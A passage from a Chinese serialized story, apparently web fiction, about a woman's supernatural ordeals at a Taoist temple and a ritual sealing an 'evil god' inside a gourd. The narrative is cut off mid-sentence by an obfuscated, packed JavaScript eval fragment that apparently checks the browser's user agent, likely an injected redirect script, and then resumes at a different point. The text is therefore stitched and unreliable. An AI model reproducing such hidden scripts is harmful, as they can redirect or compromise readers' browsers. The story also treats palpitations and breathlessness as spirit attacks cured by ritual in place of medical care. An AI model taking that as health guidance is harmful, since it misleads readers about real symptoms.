这种身边人都有奇遇,唯独自己像个“睁眼瞎”的感觉,真是既羡慕又有点小失落。 知南又把她看见童子脚丫的事情跟千尘说了一遍,千尘听完,莞尔一笑,抬头环顾庄严肃穆的神像,语气轻快地说:“看来,今天我们诚心诚意来打扫卫生,殿里的诸位‘主人’也很高兴,出来看热闹了呢。” 我看着墨宇依旧在那里假装专注扫地,实则耳根泛红的模样,忍不住起了调侃之心,故意提高声音喊道:“墨宇啊!刚才千尘说道德天尊他老人家特意跟你打招呼呢,你怎么不理不睬的?多不礼貌啊!” 墨宇的身体明显僵了一下,头垂得更低,手里的扫帚舞动得更快了,闷声闷气地回道:“我……我干活呢!忙着呢!没看见!” 他这欲盖弥彰的反应,逗得我实在忍不住,扶着门框笑得直不起腰来。正在外面扫地的涵子被我的笑声吸引,走过来好奇地问发生了什么。我一边擦着笑出来的眼泪,一边把千尘看到道德天尊青牛、知南看到童子脚丫、以及墨宇羞窘反应的事迹添油加醋地说了一遍,最后问他:“涵子,你在外面扫地,有没有感觉到什么特别的?或者看到什么?” 涵子温和地笑了笑,摇了摇头,他的气质沉静如水:“我倒是没有看到具体的形象。只是感觉在这里,身心都特别舒畅,仿佛被一种温和而强大的能量场包裹着,扫了这么久地,一点也不觉得累,反而神清气爽。” 说笑归说笑,活一点没落下。我们五人齐心协力,用了将近四个小时,终于将偌大的三清殿里里外外打扫得窗明几净,一尘不染。神像宝相庄严,供桌整洁有序,地面光可鉴人,连殿外的石阶都仿佛焕然一新。我们重新点了三炷清香,恭敬叩拜,感谢神明庇佑,也圆满完成了此次打扫的承诺。 辞别三清殿,我们下山前往斋堂用斋饭,简单的素斋,却因劳动后的饥饿而显得格外香甜。薛道长见我们劳累了一上午,热情地邀请我们午休后去他的茶室喝茶聊天,我们自然欣然应允。 下午,道观的茶室内茶香袅袅。薛道长与我们已是熟识,但墨宇和涵子是第一次见。他目光温和地询问二人的来历。得知墨宇就是之前帮我处理那场“斗法”风波的小道士时,薛道长深邃的目光在他身上停留了片刻,带着一丝审视与了然,却并未多言,只是微微颔首。转而问起涵子,涵子谦逊地答道,自己业余喜欢研究传统星象历法,对传统文化很感兴趣,还会吹奏箫和笛子。 薛道长闻言,眼中闪过一丝惊喜,忙问:“哦?笛子吹奏得可熟练?” 涵子依旧谦和:“道长谬赞了,只是业余自学,略懂皮毛,登不得大雅之堂。” 薛道长抚须笑道:“不必过谦。有兴趣便是缘法。观中有精擅笛、箫的道乐高手,也是我的弟子。日后若有闲暇,你们倒是可以多多交流,共同精进。” 我在一旁听着,心中暗自惊讶。原来涵子不仅外表沉静,内里竟也如此深藏不露,研究星象,通晓音律,决定以后有机会,定要向他请教一番。 品茗闲谈间,薛道长流露出想留我们在观中多住几日,体验丛林生活的意思。奈何涵子家中临时有事,需当晚返回,无法久留。最终,我和知南、千尘、墨宇四人留了下来,准备在观中做几天义工,深入感受这份难得的清静,再返回红尘俗世。山中的夜晚,想必别有洞天,而我隐隐感觉,这次留宿,或许又会带来一些意想不到的体验…… 22. 附体惊魂 我们三人再次住进了上次那间熟悉的房间,轻车熟路地找到周阿姨领取了浆洗干净的素色床单被套,被套中弥漫着阳光和肥皂的干净气息。入夜后,我们心底其实都隐隐绷着一根弦,担心会重演上次那些难以解释的惊扰,然而,这一夜竟出乎意料地平静,窗外只有山风吹过竹林的簌簌声,以及偶尔传来的、不知名昆虫的低鸣,那一晚我们竟都睡得格外沉酣。 翌日清晨,是被淅淅沥沥的雨声唤醒的。推窗望去,整个道观都笼罩在一片迷蒙的烟雨之中,远山如黛,近处的殿宇飞檐滴着水珠,别有一番清寂的韵味。跟着道众上完早课,我们便在廊下闲坐,等待斋堂的打板声,雨丝斜织,庭院中的青石板被洗得油亮,空气中充满了泥土和草木的湿润气息。 就在这无所事事的等待中,我的脑海里毫无征兆地浮现出一幅极其清晰的画面:我独自一人,撑着一把雨伞,行走在雨后湿滑的山路上,四周是茂密青翠的竹林。我蹲下身,用手扒开湿漉漉的落叶和泥土,小心翼翼地挖取一截虬结苍劲的竹根……画面栩栩如生,甚至连竹根上沾染的湿润泥土和那股清冽的竹香都仿佛能感受到。 我心中一动,想起墨宇之前提过的“本命卦”和机缘感应,难道……这就是此地给我的某种提示?这个念头一旦升起,就像藤蔓一样缠绕住我的心,探索的欲望蠢蠢欲动。 恰在此时,薛道长撑着伞,从雨幕中缓步走来。我几乎是迫不及待地,带着一丝兴奋和求证的心态,脱口问道:“薛道长,我……我能不能现在去后山,挖一截竹根回来?” 薛道长停下脚步,雨伞微微抬起,露出他清癯而肃穆的面容,眼神中带着一丝询问:“为何突然想去挖竹根?还偏挑这雨天?” 我便老老实实地将刚才脑海中看到的画面描述了一遍。 没想到,薛道长听完,脸色骤然一变,原本温和的目光瞬间变得锐利而凝重,语气斩钉截铁,带着不容置疑的威严:“不可以!绝对不可以去!”他声音不大,却如同惊雷在我耳边炸响,“你不要过度沉迷于这些突然出现的画面幻象!那是执,是妄念!下雨天山路湿滑泥泞,极易失足,竹林里蛇虫隐匿,危险重重!就算真有机缘,也需等待天晴日朗,岂能如此莽撞行事!” “可是……我‘看到’的就是雨天……”我被他严厉的态度吓了一跳,小声地试图辩解。 “看到也不行!”薛道长厉声打断,目光如炬,仿佛要看进我的心底,“修行之人,当以智慧分辨,以安全为重!此事休要再提!” 我被他前所未有的严厉震慑住,脸上火辣辣的,有些讪讪地点了点头。其实我也并非一定要去,只是那股突如其来的、被“指引”的感觉太过强烈,勾起了我过于旺盛的好奇心。 旁边的知南悄悄拉了拉我的衣袖,低声道:“薛道长说得对,安全第一。而且……就算真有什么感应,也该委婉些,或者私下询问,哪有你这样直接嚷嚷着要下雨天上山的?” 我默然,心里也知自己刚才确实唐突了。 斋堂的打板声适时响起,打破了略显尴尬的气氛,等我们用完简单却可口的早斋,走出斋堂时,惊喜地发现雨不知何时已经停了。山里的天气就像孩子的脸,说变就变,乌云散尽,湛蓝的天空如水洗过一般,阳光重新洒落,被雨水浸润过的万物显得格外清新亮丽,树叶上挂着晶莹的水珠,空气清新得醉人。 饭后,薛道长安排我们上午自由活动。因为下雨,香客稀少,几个主要大殿都有固定的义工值守,无需我们帮忙。我还惦记着上次薛道长提及此处乃“真武行宫”之事,便动了心思,想去真武殿值会儿殿,顺便能安安静静地、好好瞻仰一下真武大帝的神威。千尘、知南和墨宇则相约去雨后初晴的后山散步,看看能否寻到些有趣的石头或是山野之趣。薛道长点头应允了我,又嘱咐他们注意路滑,随后我们一行人便各自散去。 我抱着尚未抄完的经卷,独自一人走向位于灵官殿后的真武殿。真武殿内面积比三清殿略小一些,光线明亮,真武大帝坐在宝座披发跣足、脚踏龟蛇的神像在长明灯的映照下,显得格外威严凛然,目光如电,俯瞰众生,空气中弥漫着一股浓重的香火气息。 我放下经卷,恭敬地在拜垫前跪下,行了三拜九叩的大礼,心中一片虔诚,正打算心里默默询问,之前梦中传授我剑法的那位神人是否就是眼前这位真武大帝时—— 异变陡生! 一股完全无法抗拒、冰冷而强大的无形力量,毫无征兆地、猛地从正面撞在我的胸口上! “砰!” 我根本来不及做出任何反应,整个人就像一片被狂风卷起的落叶,瞬间从跪姿被狠狠地掼倒在地,由跪姿直接变成了仰面朝天!后脑勺重重磕在冷硬的青石板上,发出一声闷响,眼前金星乱冒,放在口袋里的手机也飞了出去,“啪”地一声滑出去老远,停在离我手指约摸十几厘米的地方,屏幕还亮着,和我却仿佛隔着一道天堑。 我躺在地上,心脏因为突如其来的惊吓和撞击而疯狂擂动,几乎要跳出胸腔。本能地,我想立刻爬起来,然而,更令人恐惧的事情发生了——我的四肢,完全不听使唤了! 仿佛有千斤重担压在身上,又像是被无数无形的绳索牢牢捆缚,我拼命想要抬起手臂,想要屈起腿,却连动一动手指都做不到!一种冰冷的麻痹感从四肢末端迅速蔓延开来。我想呼救,喉咙里却只能发出“嗬嗬”的、极其微弱的气音。 恐慌如同冰水,瞬间淹没了我的全身,我想打电话求救,用尽全身力气,试图挪动身体去够那只近在咫尺却又远在天边的手机,几次挣扎,仅仅是让肩膀微微离地,那股可怕的力量就再次袭来,将我重重地按回地面,每一次都伴随着更深的无力感和恐惧。 我不知道在地上僵持了多久,感觉时间都变得粘稠而漫长。最终,我放弃了大幅度的挣扎,开始集中全部意志,仅用右手的手指,一点点、极其艰难地向着手机的方向挪动。指尖摩擦着冰冷粗糙的地面,传来细微的刺痛。仿佛过了一个世纪,我的指尖终于触碰到了手机冰凉的边缘! 就在我握住手机的那一刹那,身上的压制感似乎略微一松!我不敢有丝毫耽搁,用尽残存的力气,颤抖着手指解锁屏幕,第一个拨给了薛道长……无人接听!冰冷的提示音像是一记重锤。我立刻又打给千尘……同样,漫长的等待后,依旧是无人接听的忙音! 绝望感开始滋生。正当我准备拨打第三个求救电话时,那股不可抗拒的力量再次以排山倒海之势压下!比之前任何一次都要猛烈!我握着手机的手瞬间脱力,手机再次滑落。与此同时,我的四肢开始不受控制地、剧烈地抖动起来,如同犯了癫痫般抽搐抖动,或者说……就像有什么东西在强行操控我的身体! 完了……今天是不是要交代在这里了?一个冰冷的念头浮上脑海。 紧接着,我发现连睁开眼睛都做不到了。眼皮沉重如山,被迫闭合。然而,就在这一片黑暗的视界里,我却“看”见了道道刺目的、扭曲的紫色闪电,如同毒蛇般在脑海中窜动!与此同时,一股强烈的、翻江倒海的恶心感从胃里直冲喉咙,仿佛有什么东西要从喉咙中钻出来! 不!不能吐!守住! 一个残存的理智在尖叫。我死死咬住牙关,用尽全部意志力,对抗着那股生理上的强烈不适,强行将涌到喉头的东西压了回去。喉咙像是被什么东西堵住,火辣辣地疼。 既然挣扎无用,反抗无力,我索性彻底放弃了。像一具没有灵魂的躯壳,大喇喇地瘫在冰冷的地面上,任由四肢偶尔不受控地抽搐,脑海里开始不受控制地胡思乱想起来:万一这时候有香客进来,看到我这么个年轻女子,姿势不雅地躺在地上,手脚抽动,口不能言,他们会怎么想?会不会以为我突发癫痫?会不会好心帮我叫120?天呐……那场面,光是想想就让人尴尬到脚趾抠地,社会性死亡的恐惧,在这一刻,竟然隐隐压过了对未知力量的恐惧! 就在这荒谬的思绪中,不知过了多久,我突然发现,身体的抽搐停止了。试探性地动了动手指……能动了!我小心翼翼地、一点点用手肘支撑起上半身……那股压制性的力量消失了! 我立刻坐起身,大口喘着气,仿佛刚从溺水状态中恢复。捡起地上的手机,看了眼时间,从我摔倒到现在,竟然过去了二十多分钟!可那段时间的感受,却漫长如同几个时辰。强烈的眩晕感和虚脱感袭来,我摇摇晃晃地走到值殿人坐的桌椅旁,瘫坐在硬木椅子上,也顾不上去想刚才究竟是怎么回事,强烈的疲惫感如同潮水般将我淹没,我头一歪,竟趴在冰冷的桌面上,沉沉睡去。 不知睡了多久,我被一只手轻轻推醒,迷迷糊糊睁开眼,看到薛道长正站在桌前,眉头微蹙地看着我。 “楠木?你怎么睡在这里?脸色如此之差?”他脸色疑惑地问。 我像是找到了主心骨,挣扎着坐直身体,语无伦次、声音沙哑地将刚才那恐怖的经历断断续续地讲述了一遍,说到被无形力量压制、无法动弹、看到紫色闪电、想要呕吐时,声音仍带着抑制不住的颤抖。 薛道长静静地听着,面色凝重,手指无意识地捻着胡须。待我说完,他沉吟良久,眼中闪过一丝复杂难明的光芒,最终只是沉声道:“此地……你先莫要久留,回去好好休息,莫要多想。” 就在这时,千尘她们两人也回到了真武殿。千尘一进门就扬着手机说:“楠木,你刚打电话了?我们在后山,信号不好,没听见……”她话未说完,看见薛道长也在,立刻噤声,和知南一起恭敬行礼。 薛道长摆了摆手,示意无妨。知南和千尘见我脸色苍白,精神萎顿,连忙上前一左一右搀扶住我,薛道长又叮嘱我好好休息,便转身离开了。 回到房间,我浑身依旧发软,头脑昏沉,真武殿里的经历仿佛一场荒诞而恐怖的噩梦,但身体的疲惫和心灵的余悸却无比真实,我将遭遇细细说与她们听,千尘和知南听完,脸上都露出了震惊和担忧的神色。 千尘从随身的小布袋里取出一块鸽子蛋大小、通体洁白、温润如玉的石头,递到我面前,说:“我们刚才在后山捡的,感觉有些石头蕴藏着天地灵气,你握着试试,看看这块与你有无缘法。” 我依言接过那块白石头,入手微凉。然而,就在我握紧它的瞬间,一股强烈的、带着轻微刺痛感的酥麻电流,猛地从石头内部窜出,顺着我的掌心直透手臂,恍惚间脑海里还闪过了一道紫色闪电! “啊!”我轻呼一声,下意识地想松开手,但那感觉一闪而逝。我惊疑不定地看向千尘:“这石头……里面好像有紫色的电?” 千尘眼中闪过一丝了然,点点头:“嗯,看来它确实与你有缘。这是你的石头了。” “这……有什么用?”我握着这块仿佛蕴藏着奇异能量的石头,茫然地问。 “不知道,”千尘耸耸肩,“机缘之物,妙用自知。你自己慢慢体会吧。” 知南更担心我的身体状况,催促我躺下好好睡一觉,有什么事都等下午再说。 下午,尽管身体依旧有些虚弱,但那股不信邪、非要弄个明白的倔强劲儿又上来了。尤其是经历过上午那番诡异的“压制”,我的第六感强烈地告诉我,那真武殿里恐怕有不干净的东西。我决定下午再去那里,而且要堂堂正正地在那里上诵早课经!要以经韵正气,涤荡邪祟! 再临真武殿门槛,虽雄心壮志,但心里不免有些发怵,上午被按在地上摩擦的记忆犹新。我深吸一口气,在心里给自己打气:邪不压正!我乃诚心诵经,怕它作甚!遂昂首踏入殿内。 这一次,我没有立刻跪拜,而是直接走到值殿的桌椅旁坐下。打开手机,找到孟圆辉演唱的玄门早课经韵,调大音量,跟着一起唱诵。(我那时对经韵还不熟练,也没有早晚课经书,只能看着手机上的经文, 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就在这时,墨宇的身影出现在殿门口,他快步走了进来,脸色有些严肃。 “楠木,你没事吧?”他问道,目光却锐利地扫视着整个大殿,最后定格在真武神像上。 “我没事,你来得正好,”我像是抓住了救命稻草,连忙说,“你快看看,我总觉得这神像……或者这殿里,是不是有什么问题?” 墨宇点点头,没有说话,而是从怀中取出了他那副常用的茭杯,凝神静气,似乎想要通过卜卦来探查。然而,就在他刚刚拿出茭杯,还未掷出的瞬间—— “啪嗒!” 一声清脆的响声,那副茭杯仿佛被一只无形的手狠狠拍落,直接掉在了青石板上,弹跳了几下。 墨宇的脸色瞬间变得无比难看,他猛地捡起茭杯,一把拉住我的胳膊,语气急促而低沉:“走!先出去再说!” 我被他不由分说地拉出了真武殿,来到阳光充足的大坪里,才惊魂未定地追问:“到底怎么回事?这么急拉我出来,你看到什么了?” 墨宇深吸一口气,环顾四周,确保无人,才压低了声音,一字一顿地说:“我什么都没来得及‘看’。但刚才,分明有一股极强的、带着警告意味的力量,直接打落了我的卦!而正神,绝不会如此对待诚心问卦之人!” 正神不会那么做! 这句话像一道冰冷的闪电,劈入我的脑海。那我上午遭遇的,以及此刻打落墨宇卦的……到底是什么东西?!一股更深的寒意从心底冒出,让我汗毛倒竖。 “对了,你不是和知南在守财神殿吗?怎么突然过来了?”我这才想起问他。 “知南不放心你,把上午的事跟我说了,我放心不下,就过来看看你情况如何。”墨宇解释道,“上午她们去后山时,我觉得无趣,就回房打坐休息了。” 我们正说着话呢,却见千尘脸色苍白,步履匆匆地从慈航殿的方向朝我们这边跌跌撞撞的快步走来,确切地说,是朝着宿舍方向走去,她低着头,我们甚至没能看清她脸上的表情。 “千尘!”我喊了一声。 她却恍若未闻,脚步更快了,几乎是逃也似的冲回了房间。 我心中升起一股不祥的预感,连忙对墨宇说:“你快去慈航殿帮她值殿,那边没人,我先去看看千尘!” 墨宇点头,转身往慈航殿走去。我则快步返回房间。 推开房门,只见千尘正坐在床沿,双手紧紧攥着衣角,指节因为用力而发白。她的脸上毫无血色,嘴唇更是苍白得吓人,胸口剧烈起伏着,眼神里充满了压抑的愤怒和虚弱。 “千尘,你怎么了?脸色怎么这么难看?”我急忙上前问道。 千尘猛地抬起头,眼中像是燃着两簇幽火,声音因为愤怒而微微发抖:“我刚在慈航殿擦拭拜垫!结果……结果突然就被一股力量,死死地按在了拜垫上!根本起不来!不是压,是按!就像有无数只手把我钉在那里一样!我就那样……以一种极其屈辱的姿势,跪趴在拜垫上,动弹不得……感觉过了很久很久,等我终于能挣扎起来一看时间……你猜怎么着?才过了一分钟!但是那一分钟,漫长得像一个世纪!它们绝对是故意的!” 她喘了口气,脸上愤怒之色更浓:“看来这个地方,我是真的待不下去了!我明天一早就去向薛道长请辞!以后就算再来,也绝不在此过夜了!” 我被她话语中透露出的信息惊住了:“它们故意的?什么意思?它们是谁?” 千尘看着我,眼神复杂,带着一种近乎破釜沉舟的决绝:“我的体质你知道的,我的元神也是一位先天神,很早以前,藏地密宗就有上师找过我,认为我与佛门有缘,想要度我入门,传授我密法修炼,但我拒绝了,我那时不想被任何一个宗教所束缚,这次要不是和你们一起来道观,相处也算愉快,心里对道教生出些许好感,动了那么一丝或许可以了解一下的念头……也不至于引来这样的‘关照’和‘警告’!”她冷笑一声,“我算是明白了!我决定了,从此保持中立,哪边都不靠,哪边都不入!我只做我自己!” 她这番话信息量巨大,我听得似懂非懂,但看她那惨白的脸色和眼中真切的愤怒与恐惧,知道她绝非妄言。我握住她冰凉的手,劝慰道:“如果你感觉这里的气场对你不利,甚至带来了伤害,那就离开。跟薛道长好好说,他应该能理解。无论如何,自己的安全和心神安宁最重要。” 千尘重重地点了点头,反握住我的手,力道很大,仿佛在汲取一丝力量,声音带着疲惫和坚定:“我知道。我要躺一会儿,静一静。明天,我会去跟薛道长说明一切的。” 房间里陷入了沉默,只剩下窗外偶尔传来的鸟鸣。阳光透过窗棂照进来,却驱不散弥漫在我们心头的沉重迷雾。这座看似祥和的千年道观,其下究竟隐藏着多少不为人知的暗流与秘密?这些事情到底是怎么回事? 24. 葫芦镇压 又在道观经历了这些玄之又玄的事情后,第四天上午,我们带着一身疲惫与满腹未解的谜团,辞别薛道长,返回了熟悉的城市。回到家中,扑面而来的是日常生活的气息,却莫名带着一种隔阂感,仿佛灵魂的一部分还滞留在那座云雾缭绕的山中道观。 稍事安顿,一件被遗忘的事情猛然跃入脑海——我的本命卦!原本指望着能在道观后山挖到有缘的竹根自制,却被一连串的意外搅得忘到了九霄云外。既然想起来了,便不愿再等,索性打开购物网站,想着先买一副现成的用着。网页上各式各样的茭杯琳琅满目,最终,我的目光停留在了一副与墨宇之前给我试用过的、样式几乎一模一样的黑色小角卦上。材质、大小、那沉稳的黑色,都让我感到一种莫名的熟悉与安心,便毫不犹豫地下了单。 本以为离开道观,那些玄乎其玄的事情会暂时告一段落,生活能回归正轨。然而,回家后的几天,一种无形的不适感再次如阴云般悄然笼罩了我,起初只是偶尔觉得胸闷,气息短促,仿佛胸口压着块石头,紧接着,脸色开始以肉眼可见的速度变得晦暗,那是一种不健康的、仿佛从肌肤底层透出来的黑气,连日常的粉底都难以完全遮盖。对着镜子,我能清晰地看到自己眼下的乌青和嘴唇的苍白,更糟糕的是,有时走在路上,都会无缘无故地感到一阵心悸,或者呼吸急促,需要扶着东西缓上好一会儿才能平复。 这绝不是普通的身体不适!一种强烈的直觉告诉我,问题恐怕又出在了那些“看不见”的领域上了,不安如同藤蔓,紧紧缠绕住我的心脏。我深吸一口气,拿起手机,对着自己拍了一张清晰的大头照,分别发给了墨宇和千尘。附言简单直接:「帮我看看,我是不是又惹上什么不干净的东西了?身体感觉非常不对劲。」 等待回复的每一分钟都显得格外漫长。手机屏幕终于亮起,先是墨宇的消息,他的文字带着一贯的冷静,却透着一丝凝重:「楠木姐,你身体情况不太妙啊,肩头两盏阳火几乎快熄灭了,只有头顶那盏还在勉力支撑,而且,你身上缠绕着一股极其不好的紫黑色秽炁,非常浓重,我过两天抽空过来一趟,先帮你把火提起来,稳住情况。」 肩头阳火快灭了?紫黑色秽炁?我的心猛地一沉,一股寒意从脚底窜起,我到底又招谁惹谁了?!难道……还是跟真武殿里那个强行压制我、意图不明的“存在”有关?那个地方,果然是有大问题! 紧接着,千尘的消息也跳了出来,她的语气则直接得多,带着明显的惊诧与担忧:「我的天!楠木你是真能招惹东西啊!这次缠上你的这玩意儿……有点麻烦!气息很凶,带着一股邪戾的魔障之气!我先给你想想办法,这东西不太好直接处理,得准备一下。」 魔障之气?!连千尘都用上了“麻烦”和“魔障”这样的字眼!我握着手机的手指微微发抖,眉头紧紧锁成了一个结,一股巨大的无助感和愤怒交织在一起。我把墨宇关于“阳火将熄”和“紫黑秽炁”的判断转发给了千尘,并和她约时间,看如何尽快处理。我感觉自己整个人就像一艘在暴风雨中颠簸的小船,随时可能被无形的巨浪吞没。 我的老公阿飞也察觉到了我的异样,看着我晦暗的脸色和偶尔急促的呼吸,关切地问:“你最近是不是太累了?脸色怎么这么差?是不是又生病了?要不要去医院看看?” 我看着他那双写满现实与关切的眼睛,到了嘴边的解释又咽了回去。我知道,告诉他我被邪魔缠身、阳火将熄,他只会觉得我压力太大产生了幻觉,或者更糟,认为我精神出了问题。我勉强挤出一个笑容,摇了摇头:“可能最近是有点累,没睡好,休息一下就好了。” 这种无法与最亲近之人言说的孤独,更加深了我的焦虑。 煎熬中等待了两天。那天我正在宠物医院二楼的药房整理药品,墨宇的身影出现在了门口。他依旧是那身素净的棉麻衣裳,但眼神比平时更加锐利,一见到我,便沉声道:“你这受影响的程度比照片上看到的还严重,气色晦暗,印堂发黑。事不宜迟,我先帮你把肩头的阳火提起来,你会好受些。” 我连忙点头,带他走到诊室里面,墨宇让我背对着他站好,他并未接触我的身体,只是屏息凝神,单手结了一个复杂的手印,指尖仿佛凝聚着无形的能量,在我背后约十厘米的地方缓缓移动、虚画着什么。 起初并没有什么感觉,但几秒钟后,一股灼热的气流猛地从我尾椎骨的位置升起,如同点燃了一条引线,炽热的暖流沿着脊柱迅猛向上蹿升,过命门,透夹脊,直冲大椎穴!与此同时,我的两侧肩膀也仿佛被放上了暖炉,一股强劲而温和的热力透体而入,驱散了那如影随形的阴寒与沉重感。 因为背对着他,我一直以为墨宇是手掌很贴近我的背部,才产生了如此明显的热感。等他示意完成后,我转过身,惊讶地询问,他才淡淡地说:“我手离你起码十厘米远。” 十厘米远?!那股热气却如此真实、如此强劲,比我平时自己尝试凝神聚气所产生的微弱热感,不知强了多少倍!我心中不禁骇然,随即冒出一个有点不合时宜的念头:“嗯……童子身修炼,纯阳之炁,果然名不虚传……” 关键时刻差点没忍住笑出来,随即干咳两声,赶紧绷住了脸。 被墨宇提火之后,我感觉像是卸下了一副沉重的枷锁,呼吸顺畅了许多,头脑也清明了不少,连日的疲惫感一扫而空。我趁机问他:“墨宇,你从道观回去后,有遇到什么奇怪的事情吗?我感觉自己特别倒霉……” 墨宇摇了摇头,语气平静中带着一丝自信:“我自身修行,日常会设立结界,隔绝一些外邪侵扰,所以并无异常。” “结界?还能这样?”我惊讶地睁大了眼睛,仿佛打开了新世界的大门。 他微微颔首,没有多做解释。 我立刻给千尘发去消息,约定晚上和墨宇一起去她家商讨对策。千尘很快回复:「可以,涵子晚点也会过来。」 涵子也来?虽然有些意外,但想到他沉静的气质和似乎深藏不露的底蕴,或许也能提供帮助,便没有多问。 晚上,千尘家。 客厅的灯光柔和,却驱不散弥漫在空气中的凝重气氛,我一进门,就注意到客厅中央的茶几上,端端正正地摆放着一个葫芦。那葫芦不大,形态却异常周正饱满,表皮光滑,带着一种天然的古朴韵味。 “这葫芦挺漂亮的,哪里来的?”我试图用轻松的语气打破沉默。 千尘抬了抬下巴,指向安静坐在沙发一角的涵子:“他自己种的,精心挑选出来的。今天,它要派上大用场。” “大用场?”我疑惑地看向千尘。 千尘的神色变得严肃起来,她看着我,一字一句地说道:“你来之前,我已经焚香净手,请示过祖师爷了。基本可以确定,那天在真武殿里,想强行上你身、后来一直纠缠影响你的,并非普通的孤魂野鬼,而是——小凡他表哥家里长辈,通过某种邪法,特意召请来的一个邪神!目的就是附体教训你,甚至……更糟。现在,这东西还在你身边,不断吸食你的阳气,侵蚀你的生机。” 邪神?! 小凡他表哥家里长辈?! 我脑子里“轰”的一声,仿佛有什么东西炸开了!一股冰冷的怒火瞬间冲上头顶,几乎要让我失去理智。 “又是他们?!有完没完了?!”我声音不受控制地拔高,带着剧烈的颤抖,“还有邪神?!这个世界上还真他妈的有这种东西存在?!!” 一直沉默的墨宇此刻也沉声开口,印证了这骇人听闻的事实:“邪神,确实是存在的,神也是有正有邪的,只是常人难以接触,更难以想象。” 我气得浑身发抖,指甲深深掐进掌心:“他们有病吗?!我跟小凡早就井水不犯河水了!上次他们告状失败,玉皇和地府都判定他们理亏,他们还不肯罢休?!竟然用这种恶毒的手段?!召请邪神?!他们还是人吗?!” 千尘无奈地叹了口气,眼神中带着怜悯与凝重:“估计现在,已经不是你和那个小凡的个人恩怨了,是你和他们整个家族,或者说,和他们背后那个修邪法的表哥一脉,结下梁子了。他们这是在报复,也是在立威。” 一种巨大的委屈、愤怒和无力感将我淹没。我瘫坐在沙发上,声音带着哽咽:“我……我完全没有还手之力啊!他们这不是逮着我一个人往死里欺负吗?!每次都这样!严重影响我的正常生活!太欺负人了!!” 眼泪不争气地在眼眶里打转。 千尘走到我身边,拍了拍我的肩膀,语气坚定起来:“现在说这些没用,兵来将挡,水来土掩!当务之急,是先解决掉你身边这个定时炸弹。我问过祖师爷,这东西不能直接打杀,它本身也是受驱使的,上天有好生之德。唯一的办法,就是先将它封印!” “封印?为什么不能杀?!”我抬起泪眼,心中满是不甘和愤懑,“它都那样对我了!为什么还要留情?!” 墨宇插话解释道,他的声音带着一种洞悉规则的冷静:“它受人驱使,并非主动作恶。毁灭其灵识,有伤天和。将其封印,是对它助纣为虐的惩罚,也是给它一个改过(或者说禁锢)的机会。而那个召唤它、驱使它的法师及其家族,冥冥之中,自有天道律例惩戒,业力反噬,绝不会轻松。” 我咬着嘴唇,虽然心中依旧愤愤不平,但也知道他们说的是目前最稳妥的办法。“那……要怎么做?” 千尘指向那个葫芦:“东西已经准备好了。需要在这个葫芦上,用朱砂写下三清讳和紫薇讳,借助三清祖师和紫薇大帝的无上神力;还要画上一个完整的太极八卦图,构建封印核心。葫芦顶端有个天然的三叉蒂头,我会用浸泡过法药的红绳缠绕加固,象征三才稳固,锁住壶口。最关键的是葫芦底部,我会用特殊调配的朱砂,绘制一个禁锢阵法,完成最后的封印。但是,”她顿了顿,语气凝重,“这个封印的力量,以我目前的能力,加上涵子种出的这个灵性葫芦,最多只能维持一年。一年之后,必须重新加持,或者想其他办法,否则恐有变故。” “把它封印进去后呢?放哪里?”我紧张地问。 “放你家。”千尘的回答出乎我的意料。 “什么?!放我家?!”我几乎跳起来,“我什么都不懂!这东西放我家安全吗?万一……万一它哪天冲破封印跑出来,第一个不就是找我算账?!还想上我的身怎么办?!” 千尘按住我的肩膀,目光笃定:“你放心,这是祖师爷的指示。封印有效期内,只要葫芦不毁,阵法不破,它绝对出不来。放在你家,也是一种……嗯,暂时的镇守,你需要亲自‘看管’它,这也是一种磨砺。” 我看着她坚定的眼神,又看了看墨宇,他微微点头表示同意。我深吸一口气,强行压下心中的恐惧和抗拒,艰难地点了点头。“那……这葫芦上的讳字和八卦图,谁来写?”这需要极高的精准度和……嗯,起码字不能像墨宇那样。 千尘指了指涵子:“涵子来。他心静,字也稳。” 一直安静旁观的涵子闻言,连忙摆手,脸上露出为难的神色:“我字也只是一般,而且……我完全不会写这些讳字啊,怕写不好,反而误事。” 墨宇接口道:“这个简单,我把需要写的讳字和八卦图样在纸上画出来,你照着描摹到葫芦上就行。”说着,他拿出随身携带的黄纸和朱砂笔,凝神聚气,开始书写。 众所周知,墨宇请神念咒是一把好手,但那手字……实在是抽象派大师,每个笔画都仿佛有自己的想法,恨不得分家单过。当他将那张写满“鬼画符”的纸递给涵子时,涵子接过去,盯着看了半晌,眉头微蹙,嘴唇动了动,最终还是沉默地闭上了,脸上写满了“看不懂”三个大字。 我实在看不下去了,一把抢过朱砂笔和另一张黄纸,凭着记忆和之前抄经的功底,尽量工整地将三清讳、紫薇讳和清晰的太极八卦图重新绘制了一遍,递给涵子:“喏,照这个写。” 涵子接过我画的图样,仔细看了看,松了口气,点头道:“这个清楚多了。我尽量试一下,但不保证写得好看。” 说完,涵子拿起一支新的小楷朱砂笔,蘸饱了殷红的朱砂液,屏息凝神,准备先在废纸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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随着她最后一声清叱,剑诀猛地向葫芦口一引,仿佛将什么东西强行“塞”了进去!紧接着,她迅速拿起那支蘸满了浓稠朱砂的毛笔,笔走龙蛇,在葫芦底部绘制起繁复而古老的封印阵法,她的额头渐渐渗出了细密的汗珠,呼吸也变得有些急促,显然这个过程对她消耗极大。 大约两分钟后,她猛地提笔,最后一笔落下,仿佛完成了某个至关重要的连接。她长长地舒了一口气,身体微微晃动了一下,才稳住了身形,低声道:“成了。” 几乎就在她话音落下的瞬间,放在茶几上的那个葫芦,竟然自主地、剧烈地颤抖了几下!仿佛里面有什么东西在疯狂地冲撞、挣扎,发出沉闷的“嗡嗡”声!那景象极其诡异,一个死物仿佛拥有了生命,在进行着不甘的反抗! 几秒钟后,颤抖戛然而止,葫芦恢复了静止,静静地立在那里,仿佛刚才的一切都只是我们的幻觉。但空气中残留的那一丝若有若无的、被强行压制下去的暴戾气息,提醒着我们,封印已然完成,里面禁锢着一个危险的“囚徒”。 千尘擦了擦额头的汗,指着葫芦对我说:“你去网上买个放置葫芦的底座吧,要稳当些的。” 我点点头,心有余悸地看着那个看似普通的葫芦,小心翼翼地问:“这样……就真的成了吗?它不会再跑出来了吧?” 